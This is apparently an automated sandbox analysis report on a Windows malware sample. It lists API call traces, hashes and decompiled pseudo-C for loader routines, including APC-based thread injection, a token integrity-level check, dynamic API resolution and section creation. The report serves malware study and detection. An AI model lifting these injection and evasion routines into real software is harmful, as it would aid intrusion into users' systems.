Part of subcall function 10001850: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,1000164B,76D263F0), ref: 1000185F
Part of subcall function 10001850: GetVersion.KERNEL32 ref: 1000186E
Part of subcall function 10001850: GetCurrentProcessId.KERNEL32 ref: 10001885
Part of subcall function 10001850: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 1000189E

GetSystemTime.KERNEL32(?,00000000,76D263F0), ref: 1000165D
SwitchToThread.KERNEL32 ref: 10001663

Part of subcall function 100018F4: VirtualAlloc.KERNELBASE(00000000,1000167D,00003000,00000004,?,?,1000167D,00000000), ref: 1000194A
Part of subcall function 100018F4: memcpy.NTDLL(?,?,1000167D,?,?,1000167D,00000000), ref: 100019DC
Part of subcall function 100018F4: VirtualFree.KERNELBASE(?,00000000,00008000,?,?,1000167D,00000000), ref: 100019F7

Sleep.KERNELBASE(00000000,00000000), ref: 10001684
GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 100016B9
GetLongPathNameW.KERNEL32(?,00000000,00000000), ref: 100016D7
WaitForSingleObject.KERNEL32(00000000,000000FF,?,00000000), ref: 1000170F
GetExitCodeThread.KERNEL32(00000000,?), ref: 10001721
CloseHandle.KERNEL32(00000000), ref: 10001728
GetLastError.KERNEL32(?,00000000), ref: 10001730
GetLastError.KERNEL32 ref: 1000173D

Memory Dump Source

Source File: 00000000.00000002.496130381.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.496109491.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496159830.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLastLongNamePathProcessThreadVirtual$AllocCloseCodeCreateCurrentEventExitFreeHandleObjectOpenSingleSleepSwitchSystemTimeVersionWaitmemcpy
String ID:
API String ID: 2280543912-0
Opcode ID: 1d94a8f484d99c584117039eeacf9866d0a4ad351db0f72dece7264e9d25b94c
Instruction ID: 51f1b5d7b5d62603e0b6ca74e6a4c687eacd357270907eacbd85172d1a2e8795
Opcode Fuzzy Hash: 1d94a8f484d99c584117039eeacf9866d0a4ad351db0f72dece7264e9d25b94c
Instruction Fuzzy Hash: 2D318F76901225ABE711EBA58C849DF77FDEF843D0B124226F914D3148EB34DB40DB60

Uniqueness

Uniqueness Score: -1.00%

Function 02671B2F, Relevance: 13.6, APIs: 9, Instructions: 72
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E02671B2F(intOrPtr __edx, void** _a4, void** _a8) {
				intOrPtr _v8;
				struct _FILETIME* _v12;
				short _v56;
				struct _FILETIME* _t12;
				intOrPtr _t13;
				void* _t17;
				void* _t21;
				intOrPtr _t27;
				long _t28;
				void* _t30;

				_t27 = __edx;
				_t12 =  &_v12;
				GetSystemTimeAsFileTime(_t12);
				_push(0x192);
				_push(0x54d38000);
				_push(_v8);
				_push(_v12);
				L0267B0C2();
				_push(_t12);
				_v12 = _t12;
				_t13 =  *0x267d27c; // 0xc7a5a8
				_t5 = _t13 + 0x267e862; // 0x32f8e0a
				_t6 = _t13 + 0x267e59c; // 0x530025
				_push(0x16);
				_push( &_v56);
				_v8 = _t27;
				L0267AD5A();
				_t17 = CreateFileMappingW(0xffffffff, 0x267d2a8, 4, 0, 0x1000,  &_v56); // executed
				_t30 = _t17;
				if(_t30 == 0) {
					_t28 = GetLastError();
				} else {
					if(GetLastError() == 0xb7) {
						_t21 = MapViewOfFile(_t30, 6, 0, 0, 0); // executed
						if(_t21 == 0) {
							_t28 = GetLastError();
							if(_t28 != 0) {
								goto L6;
							}
						} else {
							 *_a4 = _t30;
							 *_a8 = _t21;
							_t28 = 0;
						}
					} else {
						_t28 = 2;
						L6:
						CloseHandle(_t30);
					}
				}
				return _t28;
			}

0x02671b2f
0x02671b37
0x02671b3b
0x02671b41
0x02671b46
0x02671b4b
0x02671b4e
0x02671b51
0x02671b56
0x02671b57
0x02671b5a
0x02671b5f
0x02671b66
0x02671b70
0x02671b72
0x02671b73
0x02671b76
0x02671b92
0x02671b98
0x02671b9c
0x02671bea
0x02671b9e
0x02671bab
0x02671bbb
0x02671bc3
0x02671bd5
0x02671bd9
0x00000000
0x00000000
0x02671bc5
0x02671bc8
0x02671bcd
0x02671bcf
0x02671bcf
0x02671bad
0x02671baf
0x02671bdb
0x02671bdc
0x02671bdc
0x02671bab
0x02671bf1

APIs

GetSystemTimeAsFileTime.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,026722EA,?,?,4D283A53,?,?), ref: 02671B3B
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 02671B51
_snwprintf.NTDLL ref: 02671B76
CreateFileMappingW.KERNELBASE(000000FF,0267D2A8,00000004,00000000,00001000,?), ref: 02671B92
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,026722EA,?,?,4D283A53), ref: 02671BA4
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000), ref: 02671BBB
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,026722EA,?,?), ref: 02671BDC
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,026722EA,?,?,4D283A53), ref: 02671BE4

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: File$ErrorLastTime$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1814172918-0
Opcode ID: 674d3b30399c4ac1edeec18d92d928de9ada9142db93a8d5270cd1251be488e2
Instruction ID: 6233863211364da623b2ce71412bdab9eb64097c3cb6b76ff8e3191151839f1b
Opcode Fuzzy Hash: 674d3b30399c4ac1edeec18d92d928de9ada9142db93a8d5270cd1251be488e2
Instruction Fuzzy Hash: CF212772A40204BBD725DBA8FC05F8E37B9AF44B10F2101A3F609E72C0E7719A49CB90

Uniqueness

Uniqueness Score: -1.00%

Function 02676A56, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 60
sleepmemorytimeCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E02676A56(void* __ecx, void* __edx, intOrPtr _a4) {
				struct _FILETIME _v12;
				void* _t10;
				void* _t12;
				int _t14;
				signed int _t16;
				void* _t18;
				signed int _t19;
				unsigned int _t23;
				void* _t26;
				signed int _t33;

				_t26 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t10 = HeapCreate(0, 0x400000, 0); // executed
				 *0x267d238 = _t10;
				if(_t10 != 0) {
					 *0x267d1a8 = GetTickCount();
					_t12 = E02678F10(_a4);
					if(_t12 == 0) {
						do {
							GetSystemTimeAsFileTime( &_v12);
							_t14 = SwitchToThread();
							_t23 = _v12.dwHighDateTime;
							_t16 = (_t23 << 0x00000020 | _v12.dwLowDateTime) >> 7;
							_push(0);
							_push(9);
							_push(_t23 >> 7);
							_push(_t16);
							L0267B226();
							_t33 = _t14 + _t16;
							_t18 = E02677E03(_a4, _t33);
							_t19 = 2;
							_t25 = _t33;
							Sleep(_t19 << _t33); // executed
						} while (_t18 == 1);
						if(E02676B96(_t25) != 0) {
							 *0x267d260 = 1; // executed
						}
						_t12 = E0267225B(_t26); // executed
					}
				} else {
					_t12 = 8;
				}
				return _t12;
			}

0x02676a56
0x02676a5c
0x02676a5d
0x02676a69
0x02676a71
0x02676a76
0x02676a86
0x02676a8b
0x02676a92
0x02676a94
0x02676a99
0x02676a9f
0x02676aa5
0x02676aaf
0x02676ab3
0x02676ab5
0x02676aba
0x02676abb
0x02676abc
0x02676ac1
0x02676ac7
0x02676ad0
0x02676ad1
0x02676ad6
0x02676adc
0x02676ae8
0x02676aea
0x02676aea
0x02676af4
0x02676af4
0x02676a78
0x02676a7a
0x02676a7a
0x02676afe

APIs

HeapCreate.KERNELBASE(00000000,00400000,00000000,?,00000001,?,?,?,0267807D,?), ref: 02676A69
GetTickCount.KERNEL32 ref: 02676A7D
GetSystemTimeAsFileTime.KERNEL32(?,?,?,00000001,?,?,?,0267807D,?), ref: 02676A99
SwitchToThread.KERNEL32(?,00000001,?,?,?,0267807D,?), ref: 02676A9F
_aullrem.NTDLL(?,?,00000009,00000000), ref: 02676ABC
Sleep.KERNELBASE(00000002,00000000,?,00000001,?,?,?,0267807D,?), ref: 02676AD6

Strings

Ki, xrefs: 02676A86

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: Time$CountCreateFileHeapSleepSwitchSystemThreadTick_aullrem
String ID: Ki
API String ID: 507476733-3424288527
Opcode ID: 1407b08f379a0547214e011f6e15f336177fdfc311ca97f53b2e4986e4406881
Instruction ID: 49e30c3f4bbbd3ef044c465786eea0b0d3f214931badf90d830902d9c085ab43
Opcode Fuzzy Hash: 1407b08f379a0547214e011f6e15f336177fdfc311ca97f53b2e4986e4406881
Instruction Fuzzy Hash: C0118672A802006FE714AB74FC49F5E769D9B44754F104929F905D6280EBB1D4948BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0267924F, Relevance: 10.6, APIs: 7, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0267924F(long* _a4) {
				long _v8;
				void* _v12;
				void _v16;
				long _v20;
				int _t33;
				void* _t46;

				_v16 = 1;
				_v20 = 0x2000;
				if( *0x267d25c > 5) {
					_v16 = 0;
					if(OpenProcessToken(0xffffffff, 0x20008,  &_v12) != 0) {
						GetTokenInformation(_v12, 0x14,  &_v16, 4,  &_v8); // executed
						_v8 = 0;
						GetTokenInformation(_v12, 0x19, 0, 0,  &_v8); // executed
						if(_v8 != 0) {
							_t46 = E02672049(_v8);
							if(_t46 != 0) {
								_t33 = GetTokenInformation(_v12, 0x19, _t46, _v8,  &_v8); // executed
								if(_t33 != 0) {
									_v20 =  *(GetSidSubAuthority( *_t46,  *(GetSidSubAuthorityCount( *_t46)) - 0x00000001 & 0x000000ff));
								}
								E02679039(_t46);
							}
						}
						CloseHandle(_v12);
					}
				}
				 *_a4 = _v20;
				return _v16;
			}

0x0267925c
0x02679263
0x0267926a
0x0267927e
0x02679289
0x026792a1
0x026792ae
0x026792b1
0x026792b6
0x026792c1
0x026792c5
0x026792d4
0x026792d8
0x026792f4
0x026792f4
0x026792f8
0x026792f8
0x026792fd
0x02679301
0x02679307
0x02679308
0x0267930f
0x02679315

APIs

OpenProcessToken.ADVAPI32(000000FF,00020008,00000000,00000000), ref: 02679281
GetTokenInformation.KERNELBASE(00000000,00000014(TokenIntegrityLevel),00000001,00000004,?,00000000), ref: 026792A1
GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,00000000,?), ref: 026792B1
CloseHandle.KERNEL32(00000000), ref: 02679301

Part of subcall function 02672049: RtlAllocateHeap.NTDLL(00000000,00000000,02677E50), ref: 02672055

GetTokenInformation.KERNELBASE(00000000,00000019(TokenIntegrityLevel),00000000,?,?,?,?), ref: 026792D4
GetSidSubAuthorityCount.ADVAPI32(00000000), ref: 026792DC
GetSidSubAuthority.ADVAPI32(00000000,?), ref: 026792EC

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: Token$Information$Authority$AllocateCloseCountHandleHeapOpenProcess
String ID:
API String ID: 1295030180-0
Opcode ID: 7a34ba3815958899e1d9a169af4f9bf1b75c57490d119aec70fe96ebabd1f384
Instruction ID: 292e060b9afef9f185171ff398a6583e393486c8ba13dce4fe4e42936d5621b5
Opcode Fuzzy Hash: 7a34ba3815958899e1d9a169af4f9bf1b75c57490d119aec70fe96ebabd1f384
Instruction Fuzzy Hash: 58213D75D0025DFFEB019FA4EC84DEEBBBAEF44304F1004A6E910A6290C7719A55EF60

Uniqueness

Uniqueness Score: -1.00%

Function 0267163F, Relevance: 9.2, APIs: 6, Instructions: 152memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(?), ref: 02671680
IUnknown_QueryInterface_Proxy.RPCRT4(00000008,332C4425,?), ref: 02671702
StrStrIW.SHLWAPI(?,006E0069), ref: 02671741
SysFreeString.OLEAUT32(?), ref: 02671763

Part of subcall function 026752F9: SysAllocString.OLEAUT32(0267C2B0), ref: 02675349

SafeArrayDestroy.OLEAUT32(?), ref: 026717B7
SysFreeString.OLEAUT32(?), ref: 026717C5

Part of subcall function 02672436: Sleep.KERNELBASE(000001F4), ref: 0267247E

Memory Dump Source

Source File: 00000000.00000002.493553228.0000000002671000.00000020.00000001.sdmp, Offset: 02670000, based on PE: true

Associated: 00000000.00000002.493530613.0000000002670000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493591153.000000000267C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.493607387.000000000267D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.493631446.000000000267F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree$ArrayDestroyInterface_ProxyQuerySafeSleepUnknown_
String ID:
API String ID: 2118684380-0
Opcode ID: 4388193ce6d394fe8e809c63158023e97f3b66e0c13b46b3d3aaf428ea09ce84
Instruction ID: f3cc7d16c79e182142b43116a954c28167812905756997d983bff854a7e7642d
Opcode Fuzzy Hash: 4388193ce6d394fe8e809c63158023e97f3b66e0c13b46b3d3aaf428ea09ce84
Instruction Fuzzy Hash: B7513E76900249EFCB10DFE8D8848AEB7B6FF89354B15886AE519EB310D731AD45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 10001A0F, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001A0F(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t33;
				_Unknown_base(*)()* _t36;
				_Unknown_base(*)()* _t39;
				_Unknown_base(*)()* _t42;
				intOrPtr _t46;
				struct HINSTANCE__* _t50;
				intOrPtr _t56;

				_t56 = E10001DE1(0x20);
				if(_t56 == 0) {
					_v8 = 8;
				} else {
					_t50 = GetModuleHandleA( *0x10004150 + 0x10005014);
					_v8 = 0x7f;
					_t29 = GetProcAddress(_t50,  *0x10004150 + 0x10005151);
					 *(_t56 + 0xc) = _t29;
					if(_t29 == 0) {
						L8:
						E10001DFC(_t56);
					} else {
						_t33 = GetProcAddress(_t50,  *0x10004150 + 0x10005161);
						 *(_t56 + 0x10) = _t33;
						if(_t33 == 0) {
							goto L8;
						} else {
							_t36 = GetProcAddress(_t50,  *0x10004150 + 0x10005174);
							 *(_t56 + 0x14) = _t36;
							if(_t36 == 0) {
								goto L8;
							} else {
								_t39 = GetProcAddress(_t50,  *0x10004150 + 0x10005189);
								 *(_t56 + 0x18) = _t39;
								if(_t39 == 0) {
									goto L8;
								} else {
									_t42 = GetProcAddress(_t50,  *0x10004150 + 0x1000519f);
									 *(_t56 + 0x1c) = _t42;
									if(_t42 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t56 + 8)) = _a8;
										 *((intOrPtr*)(_t56 + 4)) = _a4;
										_t46 = E10001EB5(_t56, _a12); // executed
										_v8 = _t46;
										if(_t46 != 0) {
											goto L8;
										} else {
											 *_a16 = _t56;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}

0x10001a1d
0x10001a21
0x10001ae2
0x10001a27
0x10001a3f
0x10001a4e
0x10001a55
0x10001a59
0x10001a5c
0x10001ada
0x10001adb
0x10001a5e
0x10001a6b
0x10001a6f
0x10001a72
0x00000000
0x10001a74
0x10001a81
0x10001a85
0x10001a88
0x00000000
0x10001a8a
0x10001a97
0x10001a9b
0x10001a9e
0x00000000
0x10001aa0
0x10001aad
0x10001ab1
0x10001ab4
0x00000000
0x10001ab6
0x10001abc
0x10001ac2
0x10001ac7
0x10001ace
0x10001ad1
0x00000000
0x10001ad3
0x10001ad6
0x10001ad6
0x10001ad1
0x10001ab4
0x10001a9e
0x10001a88
0x10001a72
0x10001a5c
0x10001af0

APIs

Part of subcall function 10001DE1: HeapAlloc.KERNEL32(00000000,?,10001556,00000208,00000000,00000000,?,?,?,100016A9,?), ref: 10001DED

GetModuleHandleA.KERNEL32(?,00000020,?,?,?,?,?,10001E4D,?,?,?,?,?,00000002,?,10001401), ref: 10001A33
GetProcAddress.KERNEL32(00000000,?), ref: 10001A55
GetProcAddress.KERNEL32(00000000,?), ref: 10001A6B
GetProcAddress.KERNEL32(00000000,?), ref: 10001A81
GetProcAddress.KERNEL32(00000000,?), ref: 10001A97
GetProcAddress.KERNEL32(00000000,?), ref: 10001AAD

Part of subcall function 10001EB5: NtCreateSection.NTDLL(?,000F001F,?,?,?,08000000,00000000,76D24EE0,00000000,00000000,?), ref: 10001F12
Part of subcall function 10001EB5: memset.NTDLL ref: 10001F34

Memory Dump Source

Source File: 00000000.00000002.496130381.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.496109491.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496159830.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressProc$AllocCreateHandleHeapModuleSectionmemset
String ID:
API String ID: 1632424568-0
Opcode ID: 4ec88815e77cd39fd923d72db13d571f8939319d025cdf8bbff59f143bb65112
Instruction ID: 8e690bc40ad544dced62eb57c6a0da5a983291de411777cdb34876cf766fb635
Opcode Fuzzy Hash: 4ec88815e77cd39fd923d72db13d571f8939319d025cdf8bbff59f143bb65112
Instruction Fuzzy Hash: 5F2117B1601B1AAFE750DFA9DC84EDB7BECEF493C07024466E905C7219EB31E9018B61

Uniqueness

Uniqueness Score: -1.00%

Function 10001AFA, Relevance: 9.1, APIs: 6, Instructions: 71
memoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			_entry_(void* __ecx, intOrPtr _a4, char _a8, intOrPtr _a12) {
				long _v8;
				void* __edi;
				void* __esi;
				void* __ebp;
				char _t9;
				void* _t10;
				void* _t18;
				void* _t23;
				void* _t36;

				_push(__ecx);
				_t9 = _a8;
				_v8 = 1;
				if(_t9 == 0) {
					_t10 = InterlockedDecrement(0x10004108);
					__eflags = _t10;
					if(_t10 == 0) {
						__eflags =  *0x1000410c;
						if( *0x1000410c != 0) {
							_t36 = 0x2328;
							while(1) {
								SleepEx(0x64, 1);
								__eflags =  *0x10004118;
								if( *0x10004118 == 0) {
									break;
								}
								_t36 = _t36 - 0x64;
								__eflags = _t36;
								if(_t36 > 0) {
									continue;
								}
								break;
							}
							CloseHandle( *0x1000410c);
						}
						HeapDestroy( *0x10004110);
					}
				} else {
					if(_t9 == 1 && InterlockedIncrement(0x10004108) == 1) {
						_t18 = HeapCreate(0, 0x400000, 0); // executed
						_t41 = _t18;
						 *0x10004110 = _t18;
						if(_t18 == 0) {
							L6:
							_v8 = 0;
						} else {
							 *0x10004130 = _a4;
							asm("lock xadd [eax], edi");
							_push( &_a8);
							_t23 = E100012DC(E1000111A, E100015EE(_a12, 1, 0x10004118, _t41));
							 *0x1000410c = _t23;
							if(_t23 == 0) {
								asm("lock xadd [esi], eax");
								goto L6;
							}
						}
					}
				}
				return _v8;
			}

0x10001afd
0x10001b09
0x10001b0b
0x10001b0e
0x10001b84
0x10001b8a
0x10001b8c
0x10001b8e
0x10001b94
0x10001b96
0x10001b9b
0x10001b9e
0x10001ba9
0x10001bab
0x00000000
0x00000000
0x10001bad
0x10001bb0
0x10001bb2
0x00000000
0x00000000
0x00000000
0x10001bb2
0x10001bba
0x10001bba
0x10001bc6
0x10001bc6
0x10001b10
0x10001b11
0x10001b31
0x10001b37
0x10001b39
0x10001b3e
0x10001b7a
0x10001b7a
0x10001b40
0x10001b48
0x10001b4f
0x10001b59
0x10001b65
0x10001b6c
0x10001b71
0x10001b76
0x00000000
0x10001b76
0x10001b71
0x10001b3e
0x10001b11
0x10001bd3

APIs

InterlockedIncrement.KERNEL32(10004108), ref: 10001B1C
HeapCreate.KERNELBASE(00000000,00400000,00000000), ref: 10001B31

Part of subcall function 100012DC: CreateThread.KERNEL32 ref: 100012F3
Part of subcall function 100012DC: QueueUserAPC.KERNELBASE(?,00000000,?), ref: 10001308
Part of subcall function 100012DC: GetLastError.KERNEL32(00000000), ref: 10001313
Part of subcall function 100012DC: TerminateThread.KERNEL32(00000000,00000000), ref: 1000131D
Part of subcall function 100012DC: CloseHandle.KERNEL32(00000000), ref: 10001324
Part of subcall function 100012DC: SetLastError.KERNEL32(00000000), ref: 1000132D

InterlockedDecrement.KERNEL32(10004108), ref: 10001B84
SleepEx.KERNEL32(00000064,00000001), ref: 10001B9E
CloseHandle.KERNEL32 ref: 10001BBA
HeapDestroy.KERNEL32 ref: 10001BC6

Memory Dump Source

Source File: 00000000.00000002.496130381.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.496109491.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496159830.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: CloseCreateErrorHandleHeapInterlockedLastThread$DecrementDestroyIncrementQueueSleepTerminateUser
String ID:
API String ID: 2110400756-0
Opcode ID: b2735cd62b98c0fff9eadb96ecfab59fc7d8990f65d57987f5a6912bdf7ccd39
Instruction ID: f0df8185a4137bf23340b4e7eb087222ae8a4cbb436f36e741c86f19ce9e809b
Opcode Fuzzy Hash: b2735cd62b98c0fff9eadb96ecfab59fc7d8990f65d57987f5a6912bdf7ccd39
Instruction Fuzzy Hash: 922190B5601216AFF701DF69CCC4ACA7FE8FB642E07128129FA05D3168EB708D808B94

Uniqueness

Uniqueness Score: -1.00%

Function 100012DC, Relevance: 9.0, APIs: 6, Instructions: 32
threadinjectionCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E100012DC(long _a4, DWORD* _a12) {
				_Unknown_base(*)()* _v0;
				void* _t4;
				long _t6;
				long _t11;
				void* _t13;

				_t4 = CreateThread(0, 0, __imp__SleepEx,  *0x1000414c, 0, _a12); // executed
				_t13 = _t4;
				if(_t13 != 0) {
					_t6 = QueueUserAPC(_v0, _t13, _a4); // executed
					if(_t6 == 0) {
						_t11 = GetLastError();
						TerminateThread(_t13, _t11);
						CloseHandle(_t13);
						_t13 = 0;
						SetLastError(_t11);
					}
				}
				return _t13;
			}

0x100012f3
0x100012f9
0x100012fd
0x10001308
0x10001310
0x10001319
0x1000131d
0x10001324
0x1000132b
0x1000132d
0x10001333
0x10001310
0x10001337

APIs

CreateThread.KERNEL32 ref: 100012F3
QueueUserAPC.KERNELBASE(?,00000000,?), ref: 10001308
GetLastError.KERNEL32(00000000), ref: 10001313
TerminateThread.KERNEL32(00000000,00000000), ref: 1000131D
CloseHandle.KERNEL32(00000000), ref: 10001324
SetLastError.KERNEL32(00000000), ref: 1000132D

Memory Dump Source

Source File: 00000000.00000002.496130381.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.496109491.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.496159830.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: ErrorLastThread$CloseCreateHandleQueueTerminateUser
String ID:
API String ID: 3832013932-0
Opcode ID: f944589a858edab2219560e62326191baa7f7a8351923321239c7166ab578a1d
Instruction ID: 31004d63c2960ea31e2c824d7a0ae826113ff2aaace5ecc64d275acbf5e6dd3f
Opcode Fuzzy Hash: f944589a858edab2219560e62326191baa7f7a8351923321239c7166ab578a1d
Instruction Fuzzy Hash: AAF0F232606631FBF6139BA08C98F9FBBADFB08BD1F01C404FA1591168CB3189109BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0267225B, Relevance: 7.7, APIs: 5, Instructions: 159
memoryCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E0267225B(signed int __edx) {
				signed int _v8;
				long _v12;
				CHAR* _v16;
				long _v20;
				void* __edi;
				void* __esi;
				void* _t21;
				CHAR* _t22;
				CHAR* _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t31;
				void* _t32;
				CHAR* _t36;
				CHAR* _t42;
				CHAR* _t43;
				CHAR* _t44;
				CHAR* _t46;
				void* _t49;
				void* _t51;
				CHAR* _t54;
				signed char _t56;
				intOrPtr _t58;
				signed int _t59;
				void* _t62;
				CHAR* _t65;
				CHAR* _t66;
				char* _t67;
				void* _t68;

				_t61 = __edx;
				_v20 = 0;
				_v8 = 0;
				_v12 = 0;
				_t21 = E0267550E();
				if(_t21 != 0) {
					_t59 =  *0x267d25c; // 0x2000000a
					_t55 = (_t59 & 0xf0000000) + _t21;
					 *0x267d25c = (_t59 & 0xf0000000) + _t21;
				}
				_t22 =  *0x267d164(0, 2);
				_v16 = _t22;
				if(_t22 == 0 || _t22 == 1 || _t22 == 0x80010106) {
					_t25 = E02673D0D( &_v8,  &_v20); // executed
					_t54 = _t25;
					_t26 =  *0x267d27c; // 0xc7a5a8
					if( *0x267d25c > 5) {
						_t8 = _t26 + 0x267e5cd; // 0x4d283a53
						_t27 = _t8;
					} else {
						_t7 = _t26 + 0x267ea15; // 0x44283a44
						_t27 = _t7;
					}
					E02671BF4(_t27, _t27);
					_t31 = E02671B2F(_t61,  &_v20,  &_v12); // executed
					if(_t31 == 0) {
						CloseHandle(_v20);
					}
					_t62 = 5;
					if(_t54 != _t62) {
						 *0x267d270 =  *0x267d270 ^ 0x81bbe65d;
						_t32 = E02672049(0x60);
						__eflags = _t32;
						 *0x267d32c = _t32;
						if(_t32 == 0) {
							_push(8);
							_pop(0);
						} else {
							memset(_t32, 0, 0x60);
							_t49 =  *0x267d32c; // 0x32f95b0
							_t68 = _t68 + 0xc;
							__imp__(_t49 + 0x40);
							_t51 =  *0x267d32c; // 0x32f95b0
							 *_t51 = 0x267e836;
						}
						__eflags = 0;
						_t54 = 0;
						if(0 == 0) {
							_t36 = RtlAllocateHeap( *0x267d238, 0, 0x43);
							__eflags = _t36;
							 *0x267d2c4 = _t36;
							if(_t36 == 0) {
								_push(8);
								_pop(0);
							} else {
								_t56 =  *0x267d25c; // 0x2000000a
								_t61 = _t56 & 0x000000ff;
								_t58 =  *0x267d27c; // 0xc7a5a8
								_t13 = _t58 + 0x267e55a; // 0x697a6f4d
								_t55 = _t13;
								wsprintfA(_t36, _t13, _t56 & 0x000000ff, _t56 & 0x000000ff, 0x267c2a7);
							}
							__eflags = 0;
							_t54 = 0;
							if(0 == 0) {
								asm("sbb eax, eax");
								E0267269C( ~_v8 &  *0x267d270, 0x267d00c); // executed
								_t42 = E02674094(_t55); // executed
								_t54 = _t42;
								__eflags = _t54;
								if(_t54 != 0) {
									goto L30;
								}
								_t43 = E026796A4(_t55); // executed
								__eflags = _t43;
								if(_t43 != 0) {
									__eflags = _v8;
									_t65 = _v12;
									if(_v8 != 0) {
										L29:
										_t44 = E02676786(_t61, _t65, _v8); // executed
										_t54 = _t44;
										goto L30;
									}
									__eflags = _t65;
									if(__eflags == 0) {
										goto L30;
									}
									_t46 = E02673DD9(__eflags,  &(_t65[4])); // executed
									_t54 = _t46;
									__eflags = _t54;
									if(_t54 == 0) {
										goto L30;
									}
									goto L29;
								}
								_t54 = 8;
							}
						}
					} else {
						_t66 = _v12;
						if(_t66 == 0) {
							L30:
							if(_v16 == 0 || _v16 == 1) {
								 *0x267d160();
							}
							goto L34;
						}
						_t67 =  &(_t66[4]);
						do {
						} while (E0267A501(_t62, _t67, 0, 1) == 0x4c7);
					}
					goto L30;
				} else {
					_t54 = _t22;
					L34:
					return _t54;
				}
			}

0x0267225b
0x02672266
0x02672269
0x0267226c
0x0267226f
0x02672276
0x02672278
0x02672284
0x02672286
0x02672286
0x0267228f
0x02672297
0x0267229a
0x026722b4
0x026722c0
0x026722c2
0x026722c7
0x026722d1
0x026722d1
0x026722c9
0x026722c9
0x026722c9
0x026722c9
0x026722d8
0x026722e5
0x026722ec
0x026722f1
0x026722f1
0x026722f9
0x026722fc
0x02672322
0x0267232e
0x02672333
0x02672335
0x0267233a
0x02672366
0x02672368
0x0267233c
0x02672340
0x02672345
0x0267234a
0x02672351
0x02672357
0x0267235c
0x02672362
0x02672369
0x0267236b
0x0267236d
0x0267237c
0x02672382
0x02672384
0x02672389
0x026723b9
0x026723bb
0x0267238b
0x0267238b
0x02672391
0x0267239e
0x026723a4
0x026723a4
0x026723ac
0x026723b5
0x026723bc
0x026723be
0x026723c0
0x026723c7
0x026723d4
0x026723d9
0x026723de
0x026723e0
0x026723e2
0x00000000
0x00000000
0x026723e4
0x026723e9
0x026723eb
0x026723f2
0x026723f6
0x026723f9
0x0267240e
0x02672412
0x02672417
0x00000000
0x02672417
0x026723fb
0x026723fd
0x00000000
0x00000000
0x02672403
0x02672408
0x0267240a
0x0267240c
0x00000000
0x00000000
0x00000000
0x0267240c
0x026723ef
